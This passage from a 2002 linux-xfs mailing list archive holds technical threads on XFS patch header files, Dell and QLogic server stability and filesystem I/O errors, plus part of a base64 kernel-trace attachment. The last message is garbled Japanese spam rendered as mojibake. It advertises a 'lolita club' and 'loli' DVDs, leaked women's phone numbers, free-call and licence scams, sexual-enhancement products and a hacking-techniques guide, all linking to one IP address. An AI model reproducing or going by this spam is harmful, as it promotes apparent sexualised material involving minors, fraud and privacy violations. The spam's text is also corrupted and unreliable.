FN2UZjLu4rmQxPzH+0sn4Dsz9+kGhsmP15YGqxMvWVQj6H72Ar6hGVnDCbRK sH+tl9++dOxj+vjTp9XQP5+NbfXFHJIHl5z8iDeQ07Mf8aYyIkyVsqNKmbEX 13hGV9+iv6ZLKzgjB99HheJwOlMhjqoQvYrQqDB9/thosKB7FfpvBp4dBc96 8FiDt2fKsfF3KfUjM0OyNjA2OfQT604NozM1Iq+bR5s6dJ4AfC7ZGkRpbxHr o2fOt69Hz+uceWTT3D+uw+91iP/jUh4eRw979Mz41BzJR31qXAp4Ce29SePe j/x4uGgbr6kZ8XHRuDMDvwFQS38nAHOv6369Iwt8/EAO5Gz0pmXBiqx/kXUp C9ixMudLeJVLeQabvCj0N4H+RKj3uwa6PvqdZVF46D6NcqX2UuDny3upzIfD lj2aj5xUAtqXs7SQF9Y/ke6BxhsOAAA= --=-hmYfcYU4I6+pcuMoWQhd Content-Disposition: attachment; filename=kerneltrace-db2.txt.gz Content-Type: application/x-gzip; name=kerneltrace-db2.txt.gz Content-Transfer-Encoding: base64 H4sICHxhzD0AA2tlcm5lbHRyYWNlLWRiMi50eHQApVdtb9s2EP6uX3HDVqCB 4oiUKIl2XQ9Dmg7F1iVb2n0ZCoEiqUazLLmW3Ln79TtSb5HjGihGBJGOd7yX 514or+svm6ra1uBfsSsKVQl5xKOWml8B3G6bvCpr2NdaOWDW7E94Xm+1zLNc q4tubw3edldJb43q6hP8ouNvKrUv9CmJCrwiT3sBr3XAOyG4AS+tqsa7/1I3 enO1EdtZKzw7ZPWsrIrPm8kp5xbDWwDB1YUF31O4f3sHbzHaW9lADJQuCP6F cP3qHfiE+M713fuFMec7N2/u7BshlCz+WkpCRUzTePUB4J3Iy0arBdw57+u8 /AhKZ2JfNDVku2oD6x7bWQO6yAJ/lgeI7UyAeTo3r3/96ed76xklPtrU4rAA FWVBnMYSLer00PptJGzwWo47BNqlFe7pUIaZz4mj63yqQ+Ujt5VPtwuQ8yD1 2aijNnsxiTKZEkdZuCi3jOG17l6dO0ykrmuo/xHbrd7B822OEJBLqBsh11vx Ub+0qtDFC+fe7KFuRC2ScTq6MngwOGuDQhy+wqJREDmdv4ZmUvAzoo9kCFV+ FrNjS3yiztA9tOKRXsKo1Ck/oXfIQ//iXIuigHc7IbWtmLZYTNhYLJawfoyE IqQnZDzn2hJqzhkPebD64EDPE3JQISNORhWZDHhPaHQw6Ag/ECoMR0LzeNDn Y2iBP9hSqeG1HBbGLOs5IVPRqI9F/nwkgpCM/lGd8cE/qnVARyJNBw4R81gP RKSjIXiifMZHfVNepPn8EaGH4KkIDce5rhTizVNgFHsX+ByYD4wBDzH1EIeg ieX6EAybDEiMBd9uOs5qhV3+AvrehiWOkiTdZ0leqarUicTEpljItZvGHuVk hdldvjTLsel+MRb4eBSnU7Ivi0quXZ56gqweybYFaWWbnSjrRD7sy3Uiq80m b3CkuFQwzyd8egbrZXJmlCaenui35YSyRfUxwbZsdKKqIQqXMu350XigLzlY 3vz2Krl9nVzfvrpBpWEaa6q9H3FNlWM9HilHkOovpcQh6PqpF0+dMSXbybeA uowdA2IqGZZmeoy4u9zjEylb4rBMdKmSXtQ8UT7Z4ODNXRV4lD4+03YCLGtZ 58lG71B4pz/tdd3USVYmSrqhDj3Oj85gw5w7E9P4yRnTVd2ZvMwb49Nn5aa+ x/gUatNxT6FWzPePoW4bEpZS4X2CPgiVpG1BZZ6aKLXN+kSpZGH2JH9tL3ee bsWuqfN/tRvNPcqmAZkux5Ts8JIz8Se1LmvtEqzLxzmx3Q/L9CER0nwruCw9 ypodCbBsRL0udJM85L1kRI+qwM4LWGKt1lXW5LtPbpweVbadIlbkzR+/uxjd NN3t8EB+exMnuSqMy2wqY+YNoor9kHSKQk99sxYzmY5k/PlTIY21L7f7ToB5 wTRkM8U6lLEzaZcGM9RewDdMJGe4jpYJDrPV4ttVjEPN3InmChuG6pO1qT7b m/Pgk+fP8LPk4vIZfr6MGqbGxTnjovUfzwbWZj+/v2bTGLokB8bQsDpcHJlS 50ypwVRkTdnL4NRqsNd7U+bfkZHsnJFsMMKNkfYCOrX+LrV5ZHZp0SbOJYd+ Y9WZE/SMOUFbcxMH5bkTkg4Oij7J9m78epKDDusTWEh2zhQbTKn/A7iMzhmJ BiOZBdxe7icBt3gDfs72UFPegyzP5VRmp0Dm507w3in8bYE2+28NsN+L3V8P coGPH8iBXI5IOw4syeoXvSt1AVtR5nIBP+VaX8I6LwrzW8P89Njttw08iBIn y+475z9fx/4CzA0AAA== --=-hmYfcYU4I6+pcuMoWQhd-- From owner-linux-xfs@oss.sgi.com Fri Nov 8 17:48:36 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 08 Nov 2002 17:48:37 -0800 (PST) Received: from reefedge.reefedge.com (reefedge.com [216.10.14.212]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA91mZuR032159 for ; Fri, 8 Nov 2002 17:48:35 -0800 Received: from pla-muek.reefedge.com (mocha.reefedge.com [64.50.29.181]) by reefedge.reefedge.com (8.12.1/8.12.1) with ESMTP id gA91WjiT017879 for ; Fri, 8 Nov 2002 20:32:46 -0500 Received: (from tls@localhost) by pla-muek.reefedge.com (8.11.6/8.11.6) id gA91nps18712 for linux-xfs@oss.sgi.com; Fri, 8 Nov 2002 20:49:51 -0500 (EST) Date: Fri, 8 Nov 2002 20:49:50 -0500 From: Thor Lancelot Simon To: linux-xfs@oss.sgi.com Subject: pre3: missing header files in make dep? Message-ID: <20021108204950.A18708@reefedge.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-archive-position: 1591 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: tls@reefedge.com Precedence: bulk X-list: linux-xfs I unpacked the 2.4.19 sources from kernel.org, applied the 1.2pre3 patch, ran make menuconfig, then ran make dep, and got errors on a large number of files because linux/dqblk_xfs.h, linux/dqblk_v1.h, and linux/dqblk_v2.h are missing. I can't find those files anywhere in the source tree that results from applying the XFS 1.2pre3 patch to a 2.4.19 kernel tree. Is this expected? Am I doing something wrong? Thor From owner-linux-xfs@oss.sgi.com Fri Nov 8 18:20:54 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 08 Nov 2002 18:20:56 -0800 (PST) Received: from mail02.securities.com (mail02.securities.com [57.69.15.72]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA92KruR001070 for ; Fri, 8 Nov 2002 18:20:54 -0800 Received: from mail02.securities.com (localhost [127.0.0.1]) by mail02.securities.com (8.12.5/8.12.5-DELIVERY) with ESMTP id gA92MB8H022747 for ; Fri, 8 Nov 2002 21:22:12 -0500 Received: from mail02.securities.com (localhost [127.0.0.1]) by mail02.securities.com (8.12.5/8.12.5-SMTP) with ESMTP id gA92MAla022739 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 8 Nov 2002 21:22:11 -0500 Received: from localhost (venevene@localhost) by mail02.securities.com (8.12.5/8.12.5/Submit) with ESMTP id gA92MAAb022735; Fri, 8 Nov 2002 21:22:10 -0500 X-Authentication-Warning: mail02.securities.com: venevene owned process doing -bs Date: Fri, 8 Nov 2002 21:22:10 -0500 (EST) From: Benito Venegas To: Austin Gonyou cc: Seth Mos , Subject: Re: XFS1.2-pre2 (or 3) in Dell HW In-Reply-To: <1036782163.12446.3.camel@ubergeek> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 1592 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: venevene@securities.com Precedence: bulk X-list: linux-xfs Thanks Seth and Austin. We don;t have any machine to test in this momment, but I'll need to "invent" one. :/ Austin: where can I get kernel you mentioned below? (2.4.18-17 sgi kernel) I can take care about qlogic module. That is not a problem. Let see if someody else can give his/her feedback. Thanks again and have good weekend. Vene.- On 8 Nov 2002, Austin Gonyou wrote: > On Fri, 2002-11-08 at 01:40, Seth Mos wrote: > > At 22:42 7-11-2002 -0500, Benito Venegas wrote: > > >Seth, XFS Team: > > > > > >Any idea if current kernels in oss.sgi.com: > > > > > >kernel-2.4.18-17SGI_XFS_1.2pre3 > > >kernel-2.4.19-SGI_XFS_1.2pre3 > > > > > >Are stable working with PE2450 with QLogic QLA2200, and working as NFS > > >server too? > > Since you especially mention the QLA2200. Be very careful about kernel > > upgrades. I have seen lot's of trouble on linux-poweredge with repect to > > this controller. Test very carefully and have backups. > > > > The only kernel that is a bit safe in this respect is the RH based > > kernel since that one has patched drivers. > > 2.4.18-17 sgi kernel is RH's kernel with XFS patches, isn't it? What > patched drivers are you referring to anyway? > > > I have not been able to test any of the prereleases yet in any of the > > selfcompiled versions as these hang on my PE1300 testbox. > > > > >We need to do an update to our servers. I don;t have any server to > > "play" > > >now, so I'll need to take my decision based in your feedback "boys". > > > > You can try the RH kernel. It has the best chance to just work. > > Dell recommends you use the Qlogic drivers on their site, or the similar > versions from qlogic.com. Not the RH one's however. > > > >Also, I have several servers PE2550, 4200, 6300, 6400, 750N. > > > > I don't have any production boxes yet that are running a 1.2pre release > > since I can't get it to even boot on my testbox. > > > From owner-linux-xfs@oss.sgi.com Fri Nov 8 21:53:17 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 08 Nov 2002 21:53:20 -0800 (PST) Received: from blaze.homeip.net (pool-141-155-136-242.ny5030.east.verizon.net [141.155.136.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA95rGuR005092 for ; Fri, 8 Nov 2002 21:53:16 -0800 Received: from blaze.homeip.net (IDENT:4444@localhost [127.0.0.1]) by blaze.homeip.net (8.12.6/8.12.6) with ESMTP id gA95sirP019531; Sat, 9 Nov 2002 00:54:44 -0500 Received: (from diffie@localhost) by blaze.homeip.net (8.12.6/8.12.6/Submit) id gA95si9V019530; Sat, 9 Nov 2002 00:54:44 -0500 Date: Sat, 9 Nov 2002 00:54:44 -0500 From: Diffie To: Michael Nguyen Cc: linux-xfs@oss.sgi.com Subject: Re: Cat: input/output error using evms&xfs Message-ID: <20021109055444.GB19469@blazebox.homeip.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i X-Operating-System: Slackware Linux 9.0 beta X-Mailer: Mutt 1.4i http://www.mutt.org X-archive-position: 1593 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: diffie@blazebox.homeip.net Precedence: bulk X-list: linux-xfs On Fri, Nov 08, 2002 at 04:53:41PM -0800, Michael Nguyen wrote: > Hello, > > Previously, I sent an email regarding a failure in creating > a large file using "cat.. >> ..". > > Attach below is the dmesg from i/o error. Can anyone help > explain its meaning. > > Many thanks, > Michael. > > ------------------------------ > > # mkfs.xfs -l size=32768b /dev/evms/lvm/myvg/mylv > # mount -t xfs /dev/evms/... /myfs > # cp /root/tempfile /myfs/BIGfile // > tempfile is a 3GB dummy file > # cat /root/tempfile >> /myfs/BIGfile > # cat /root/tempfile >> /myfs/BIGfile > # cat /root/tempfile >> /myfs/BIGfile > # cat /root/tempfile >> /myfs/BIGfile > # cat: write error: Input/Output error > > # umount /myfs // > recovery > # xfs_repair -L /dev/evms... > > # mount -t xfs /dev/evms/... /myfs // try again > # cat /root/tempfile >> /myfs/BIGfile > # cat /root/tempfile >> /myfs/BIGfile > # cat: write error: Input/Output error > > ------------------------------ > > Dmesg: > > XFS mounting filesystem evms(117,4) > (scsi0:A:0:0): Locking max tag count at 64 > (scsi0:A:2:0): Locking max tag count at 64 > I/O error in filesystem ("evms(117,4)") meta-data dev 0x7504 block > 0x2001ff2 > ("xlog_iodone") error 5 buf count 23552 > xfs_force_shutdown(evms(117,4),0x2) called from line 939 of file > xfs_log.c. Ret urn address = 0xc02258b7 Log I/O Error Detected. > Shutting down filesystem: evms(117,4) Please umount the filesystem, and > rectify the problem(s) XFS mounting filesystem evms(117,4) I/O error in > filesystem ("evms(117,4)") meta-data dev 0x7504 block 0x2001fe3 > ("xlog_iodone") error 5 buf count 24064 > xfs_force_shutdown(evms(117,4),0x2) called from line 939 of file > xfs_log.c. Ret urn address = 0xc02258b7 Log I/O Error Detected. > Shutting down filesystem: evms(117,4) Please umount the filesystem, and > rectify the problem(s) XFS mounting filesystem evms(117,4) > Hi Michael, Although i do not use EVMS yet i've too experienced similar I/O errors (I/O error in filesystem ("sd(8,3)") meta-data dev 0x803 block 0x1990a0^I ("xfs_trans_read_buf") error 5 buf count 8192) on SCSI drive attached to AHA-2490U2W controller. It turned out to be a loose card in it's PCI slot that was causing these errors on my box, so perhaps you should try to check the hardware first and see if all the connections,cables are good... Regards, Paul B. From owner-linux-xfs@oss.sgi.com Sat Nov 9 02:52:18 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 09 Nov 2002 02:52:23 -0800 (PST) Received: from banna (fb171157.ot.FreeBit.NE.JP [61.203.171.157]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA9AowuR008448 for ; Sat, 9 Nov 2002 02:51:09 -0800 Received: from 5-A ([192.168.0.3]) by banna (8.9.3+3.2W/3.7W) with SMTP id TAA19163; Sat, 9 Nov 2002 19:51:04 +0900 Message-Id: <200211091051.TAA19163@banna> From: =?iso-2022-jp?B?Y21haWw2NjY2anA=?= To: =?iso-2022-jp?B?MDEwMDEw?=@banna.sgi.com Reply-To: cmail6666jp@yahoo.co.jp Date: Sat, 09 Nov 2002 19:51:15 +0900 Subject: =?iso-2022-jp?B?GyRCTCQ+NUJ6OS05cCIoRUU7UiVhITwlazktOXAbKEo=?= Content-Type: text/plain Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-archive-position: 1594 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cmail6666jp@yahoo.co.jp Precedence: bulk X-list: linux-xfs <‘—MŽÒ> “dŽqƒ[ƒ‹LŽÐ ¡ŒãAL‚ð‚²Šó–]‚µ‚È‚¢•û‚Í‚±‚±‚Ö (•K‚¸–{•¶‚É‚ ‚È‚½‚̃[ƒ‹ƒAƒhƒŒƒX‚Ì‚Ý‚ð‚¨‘‚«‰º‚³‚¢j me464863@members.interq.or.jp ƒ[ƒ‹ƒAƒhƒŒƒX‚ð‚²‹L“ü‚µ‚Ä‚­‚¾‚³‚¢B §104-0061 “Œ‹ž“s’†‰›‹æ‹âÀ8-19-3 ‘æ2ƒEƒCƒ“ƒOƒrƒ‹@3F ƒ[ƒ‹ƒ}ƒKƒWƒ“”­s TEL@03-3544-6222 FAX@03-3544-6218 =============================================================== –â‘褕i‚΂©‚èW‚ß‚Ü‚µ‚½‚Ì‚ÅAÁ‚³‚ê‚é‹°‚ꂪ‚ ‚è‚Ü‚·‚Ì‚Å ‚¨\ž‚Ý‚Í‚¨‘‚ß‚ÉIã‚©‚燂ɃNƒŠƒbƒN‚µ‚Ä‚Ý‚Ä‚ËI =============================================================== \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@ƒAƒ_ƒ‹ƒgƒrƒfƒIE‚c‚u‚cê–å“X@¡ ƒAƒ_ƒ‹ƒgƒrƒfƒIE‚c‚u‚c‚Ȃ炨”C‚¹‰º‚³‚¢B ‘¼“X‚æ‚èAŒƒˆÀ‚Å‚¨‹‚ß‚Å‚«‚Ü‚·B ¡‰ñ‚ÍA“–“X‚Ì’†‚Å‚à‘ål‹C¤•i‚ð”Ì”„‚µ‚Ä‚¢‚Ü‚·B ‚±‚̃`ƒƒƒ“ƒX‚𓦂·‚ÈI http://210.157.13.87/vd/ Video House \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@ÔŠOüƒŒƒ“ƒY@¡ ‘S‹@Ží‘Ήžƒƒ“ƒ^ƒbƒ`Ž® ‚±‚ꂾ‚¯ƒNƒbƒLƒŠŽB‚ê‚é‚È‚çA—‚ÌŽq‚É‚Í—â‚⊾‚à‚Ì ƒ^ƒ“ƒ|ƒ“‚âƒiƒvƒLƒ“‚àƒoƒbƒ`ƒŠI ‚Ü‚¸‚ÍÔŠOüƒJƒƒ‰‚ª‚Ƃ炦‚½‰f‘œ‚ð‚²——‚­‚¾‚³‚¢ http://210.157.13.87/sukesuke/ ƒTƒ“ƒRƒ“ƒŒƒ“ƒY \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@Œg‘єԆ‹³‚¦‚Ü‚·@¡ ‘S‘Še’n‚Ì—‚ÌŽq‚ÌŒg‘єԆ‹³‚¦‚¿‚Ⴄ‚æI ¡ATŠ§Ž‚Řb‘蕦“«I –{‹C‚Åo‰ï‚¢‚ð‹‚ß‚Ä‚é—«‚̔Ԇ‚¾‚¯B ƒTƒNƒ‰A‚â‚点ˆêØ–³‚µB Œg‘єԆ‹³‚¦‚éƒVƒXƒeƒ€‚Í“–“X‚ªŒ³‘c‚Å‚·B http://210.157.13.87/keitai/ @@@@@@@@@@@@@@@@@@@@@ƒ}[ƒxƒ‰ƒXƒNƒ‰ƒu \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@¡ˆê”Ô”„‚ê‚Ä‚¢‚é•ïŒsƒNƒŠ[ƒ€@¡ •ïŒs‰ðÁ‚É‚Í‚±‚ꂪˆê”ÔI ƒƒ“ƒ^ƒbƒ`A“h‚邾‚¯‚ÅOK “ñTŠÔ‚ÅŠ®‘S‚É•ïŒs‚ª‰ðÁB –³LAŽg—p‚µ‚Ä‚¢‚é‚Ì‚ªƒoƒŒƒiƒCB ‚±‚ê‚Å•ïŒs‚©‚çƒTƒˆƒEƒiƒ‰ http://210.157.13.87/kinkado/ @@@@@@@@@@@@@@@@@@ƒ}ƒWƒJƒ‹ƒhƒ‰ƒbƒNƒXƒgƒA[@ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@‹à–ׂ¯ˆê”Ô@¡ ¡‚܂Ńpƒ`ƒ“ƒR‚É“ŠŽ‘‚µA–ׂ©‚Á‚Ä‚¢‚é•û‚É‚Í•s—v‚Å‚·B ‘¹‚ð‚µ‚Ä‚¢‚é•ûA•›‹Æ‚ð‚µ‚ÄŽû“ü‚𓾂½‚¢•ûAƒvƒ‚Æ‚µ ‚ÄU—ª–@‚ð“`Žö‚µ‚Ü‚·B http://210.157.13.87/pati/ @@@@@@@@@@@@@@@@@@@@@@@ƒvƒ—{¬uÀ@ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@ƒnƒbƒJ[ŽèŒûŒöŠJ@¡ ‰SŽÒ‚Å‚à•ª‚é‚悤‚É•ª‚è‚â‚·‚­‰ðà –{uÀ‚Å‚ÍAƒnƒbƒJ[AƒNƒ‰ƒbƒJ[‚È‚Ç‚ÌŽèŒû‚ðŒöŠJ‚·‚邱‚Æ‚ÅA ƒRƒ“ƒsƒ…[ƒ^”Æß‚©‚çg‚ðŽç‚éî•ñ‚ð’ñ‹Ÿ‚µ‚Ä‚¨‚è‚Ü‚·B â‘΂Ɉ«—p‚³‚ê‚È‚¢‚悤‚É‚¨Šè‚¢‚µ‚Ü‚·B ‚ ‚­‚Ü‚Å‚àŽ©•ª‚̃}ƒVƒ“‚ɑ΂µ‚ẴZƒLƒ…ƒŠƒeƒB‚ÌŒüã‚É‚¨–𗧂ĉº‚³‚¢B http://210.157.13.87/hakka/ @@@@@@@@@@@@@@@@@@@@@@AIEƒ\ƒtƒgŠJ”­o”Å•” \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@‘ی𗬂ð[‚ß‚éƒ`ƒƒƒ“ƒX@¡ ‘Ûo‰ï‚¢‚ÌLê™ ¢ŠEŠe‘‚ÌLady‚Æ’m‚臂¤ƒ`ƒƒƒ“ƒX!! ‚ ‚È‚½‚àƒXƒeƒL‚È—ö‚µ‚Ü‚¹‚ñ‚©H “ú–{l’j«‚Æ•t‚«‡‚¢‚½‚¢ŠO‘l—«‚ð•åW‚µ‚½Œ‹‰ÊA ‚È‚ñ‚Æ2516lW‚Ü‚è‚Ü‚µ‚½I ‹CŒy‚ÈŒðÛŠó–]‚Ì•ûA^Œ•‚É‘ÛŒ‹¥‚ðl‚¦‚Ä‚¢‚é•û‚Ç‚¿‚ç‚àOKô ƒXƒeƒL‚ÈŠO‘l—«‚ðЉ‚Ü‚·B ŽÊ^•tƒvƒƒtƒB[ƒ‹‚©‚çƒAƒiƒ^‚ÌD‚Ý‚Å‘I‚ñ‚Å‚Ë™ http://210.157.13.87/kokusai/ @@@@@@@@@@@@@@@@@@@@@‚s‚b‚oЉîƒZƒ“ƒ^[ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@’ʘb—¿ƒ^ƒ_@¡ ƒzƒ“ƒg‚É‚¢‚­‚çŽg‚Á‚Ä‚àŠî–{—¿‹à‚¾‚¯!!! Žž‚Æꊂð–â‚킸A‚¢‚‚łà’ʘb‚ªƒ^ƒ_‚É‚È‚éB ô‚â‚è‚©‚½ô@“d˜b‚·‚é‚Æ‚«‚É“Á’è‚̔Ԇ‚ðƒ_ƒCƒ„ƒ‹‚·‚邾‚¯I ‚±‚̤•i‚̓‚ƒm‚Å‚Í‚ ‚è‚Ü‚¹‚ñB ‚ ‚é‚â‚è•û‚Å“d˜b‚ð‚©‚¯‚邾‚¯!!! Ž©•ª‚ÌŒg‘Ñ‚ª‚»‚Ì‚Ü‚ÜŽg‚¦‚éB “ä‚ß‚­ƒ^ƒ_‚©‚¯‚̳‘̂̓RƒR«‚ð‰Ÿ‚µ‚Ä! http://210.157.13.87/tuuwa/ @@@@@@@@@@@@@@@@@@ @@ƒS[ƒ‹ƒhî•ñŠé‰æŽÐ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@‘Û–Æ‹–‚̎擾•û–@@¡ ‘Û–Æ‹–‚Å“ú–{‚𑖂낤II ‘‚«Š·‚¦‚Í”N‚P‰ñŽÊ^—X‘—‚ÅOK i•K—vŒo”ïj q‹óŒ”@39,000‰~Aƒzƒeƒ‹‘ã@7,000‰~ i—pˆÓ‚·‚é‚à‚Ìj ŽÊ^2–‡AƒpƒXƒ|[ƒg cccccccc \¿‚©‚çŽæ“¾‚Ü‚Å ‚·‚ׂÄeØ‚²ˆÄ“à ŠCŠO‚És‚Á‚½‚±‚Æ‚Ì‚È‚¢ l‚Å‚àŠÈ’P‚Ɏ葱‚«‚Ìo—ˆ‚é ƒmƒEƒnƒEƒeƒLƒXƒg‚ª‚ ‚ê‚ΈÀS ƒmƒEƒnƒEƒeƒLƒXƒgˆêŽ®@3,000‰~ ‚¨\‚µž‚Ý‚Í‚±‚±‚Ö http://210.157.13.87/kokumen/ @@@@@@@@@@@@@@@@@@@@‘Ûƒ‰ƒCƒZƒ“ƒXƒZƒ“ƒ^[ QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ ¡@ƒyƒjƒX‹­‰»ƒ}ƒVƒ“@¡ Ž¥ŠíƒCƒIƒ“‚ª“d“®‚É‚æ‚Á‚Ä’¼Ú‹Ç•”“à‚ðŽhŒƒ ƒyƒjƒX‚Ì‹Ø“÷‚ª‘‹­B ŽO“úŠÔ‚ÌŽg—p‚Å’¼Œa‚PƒZƒ“ƒ`‚Í‘¾‚­‚È‚é ׂ­‚Ä‚¨”Y‚Ý‚Ì•û‚Í‹g•ñI ‚±‚ÌŠí‹ï‚ðŽg—p‚·‚ê‚΂·‚®‚ÉŽ©M‚ª•œŠˆ ’†Ü‚êA‘˜RAƒCƒ“ƒ|ƒeƒ“ƒX‚Å‚¨”Y‚Ý‚Ì•û‚É‚¨Š©‚ß‚µ‚Ü‚·B •›ì—p–³‚µB‘‘åŒø‰Ê”²ŒQ http://210.157.13.87/penikyou/ @@@@@@@@@@@@@@@@@@@@@@@@‚ ‚肪‚½Ž¡—É@ QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ ¡@‹É”éî•ñŽ@¡ ‚±‚̈êû‚Å“­‚©‚¸‚ÉH‚ׂĂ¢‚¯‚éî•ñ‚ªƒMƒbƒVƒŠ–žÚ! D•]‚ɂ‚«A‹‚É‘æ‚R’e‚ª“oê!! ’N‚à’m‚ç‚È‚¢— ‹Z^— î•ñ‚È‚Ì‚ÅA”Æ߃XƒŒƒXƒŒ‚âˆá–@‚ÈŽ–‚à...B ƒ‚ƒ`ƒƒ“Aˆâ–@ƒlƒ^‚͈«—pŒµ‹ÖB i—áF”ñ’Ê’m‚Ŏ󂯂½“d˜b‚̔Ԇ‚ð’m‚é•û–@j “à—e[ŽÀ‚Ì’´•Û‘¶–{B J‚Å‚ŠzŽæˆø‚³‚ê‚Ä‚¢‚é“à—e‚ª‚¬‚Á‚µ‚èB ƒoƒbƒNƒiƒ“ƒo[‘æ‚P’eE‘æ‚Q’e‚àâŽ^”­”„’†ô http://210.157.13.87/max/ @@@@@@@@@@@@@@@@@@@@@@‚l‚`‚w“ÁŽêî•ñŽÐ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@‰ïˆõ§ƒƒŠ[ƒ^ƒNƒ‰ƒu@¡ ‚c‚u‚cEƒrƒfƒI2500‰~‚©‚ç ƒnƒCƒNƒIƒŠƒeƒB‰æŽ¿‚ł̔̔„ƒ}ƒjƒAƒbƒN‚ȉf‘œ‚Ì”X ‚Ü‚¸‚̓Jƒ^ƒƒO¿‹‚¨‘Ò‚¿‚µ‚Ä‚¨‚è‚Ü‚·i‹Ç—¯‚ß‚Å‚Ì¿‹‰Â”\j ‚¨ŽèŒ³‚É‚¨“Í‚­••“›‚É‚ÍA‚¨‹q—l‚Ì‚¨–¼‘O‚Ì‚ÝI“–ŽÐ–¼‚͈êØ“ü‚è‚Ü‚¹‚ñB ƒJƒ^ƒƒO‚ð‚¨Œ©‚ÄA‚¨\‚µž‚Ý‚­‚¾‚³‚¢B http://210.157.13.87/roriclub/ @@@@@@@@@@@@@@@@@@@@@‰ïˆõ§ƒƒŠ[ƒ^ƒNƒ‰ƒu QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ ¡SEXƒtƒŒƒ“ƒh•åW¡ ^Œ•‚ÉSEXƒtƒŒƒ“ƒh‚ð’T‚µ‚Ä‚¢‚él‚¾‚¯W‡I ‘S‘‚Ç‚±‚Å‚à‹ß‚­‚Ìl‚ðƒvƒƒtƒB[ƒ‹•t‚Å‚·‚®Ð‰îB Žá‚¢l‚©‚çn”N‚Ü‚Å‚¢‚Á‚Ï‚¢‚¢‚é‚æ! ƒ_ƒ“ƒi‚É“à‚ÌH‚ðŠy‚µ‚à‚¤I http://210.157.13.87/sex/ ƒŒƒ‚ƒ“ƒNƒ‰ƒu QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ ¡‚à‚à‚ª‚Í‚¶‚¯‚Ä‚Ô‚Ç‚¤‚ª‚ä‚ê‚é¡ ‚µ‚¶‚Ý‚Æ‚à‚à‚̃Rƒ‰ƒ{ƒŒ[ƒVƒ‡ƒ“ ƒƒŠ[ƒ^ƒrƒfƒIi‚c‚u‚cjê–å ‚¢‚‚܂ʼnc‹Æ‚Å‚«‚é‚©‚í‚©‚è‚Ü‚¹‚ñ ‚²’•¶‚Í‚¨‘‚ß‚ÉI http://210.157.13.87/roridvd/ ì•i—á ­—“`à@–¼ŒÃ‰®’c’n9@­—‚Ì“¹‘ ‚È‚Ç‚È‚Ç132ì•iBD•]”­”„’†I @(^-^)/~ƒƒŠ˜F—˜ƒ€ƒg[ QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ ¡@‚r‚lƒp[ƒgƒi[Љ“ú@¡ ‚r‚lƒp[ƒgƒi[‘¦“úЉîB ‰‡•‚âSMƒNƒ‰ƒu‚Ƃ͈ႢA‚r‚lˆ¤DŽÒ‚¾‚¯‚ªW‚¤‰ïB ‘S‘‚Å‚²Ð‰î‚Å‚«‚Ü‚·B ‚ ‚È‚½‚̃vƒŒƒC‚É‚ ‚킹‚Ä‘¦“úЉîB ƒvƒŒƒC‘ã‹à‚͈êØ‚©‚©‚è‚Ü‚¹‚ñB ”N—î‚Í20ΈÈãB http://210.157.13.87/sm/ @@@@@@@@@@@@@@@@@@@@@@@@@‚r‚lƒNƒ‰ƒu \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@lŒ`Žt‚ªì‚Á‚½Œ†ì•i@¡ •ø‚«‚µ‚ß‚½‚­‚È‚é‚悤‚È‚¨lŒ`‚³‚ñ‚ªì‚ê‚Ü‚µ‚½B ”š”­“I‘åƒqƒbƒg¤•iI ”‚ɧŒÀ‚ª‚ ‚邽‚ßA‚¨\‚µž‚Ý‚Í‚¨‘‚ß‚ÉI ™‹Ç•”‚Ü‚Å–{•¨‚»‚Á‚­‚è‚ɧ삵‚½‚½‚ßA“X“ª”Ì”„‚Å‚«‚Ü‚¹‚ñB http://210.157.13.87/dachi/ @@@@@@@@@@@@@@@@@@@@@lŒ`Žt‹{ìƒfƒUƒCƒ“ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@‹t‰‡•ŒðÛ‚­‚ç‚Ô@¡ ‘f“G‚È’j«‚Æ’©‚Ü‚Å“ñlEEEB ‘f“G‚È’j«‚ð¡‚·‚®‹M—‚ÌŒ³‚ÖŒü‚©‚킹‚Ü‚·B ‘S‘ƒlƒbƒgƒ[ƒN‚Å‚·‚®‚ÉЉî‚n‚jB 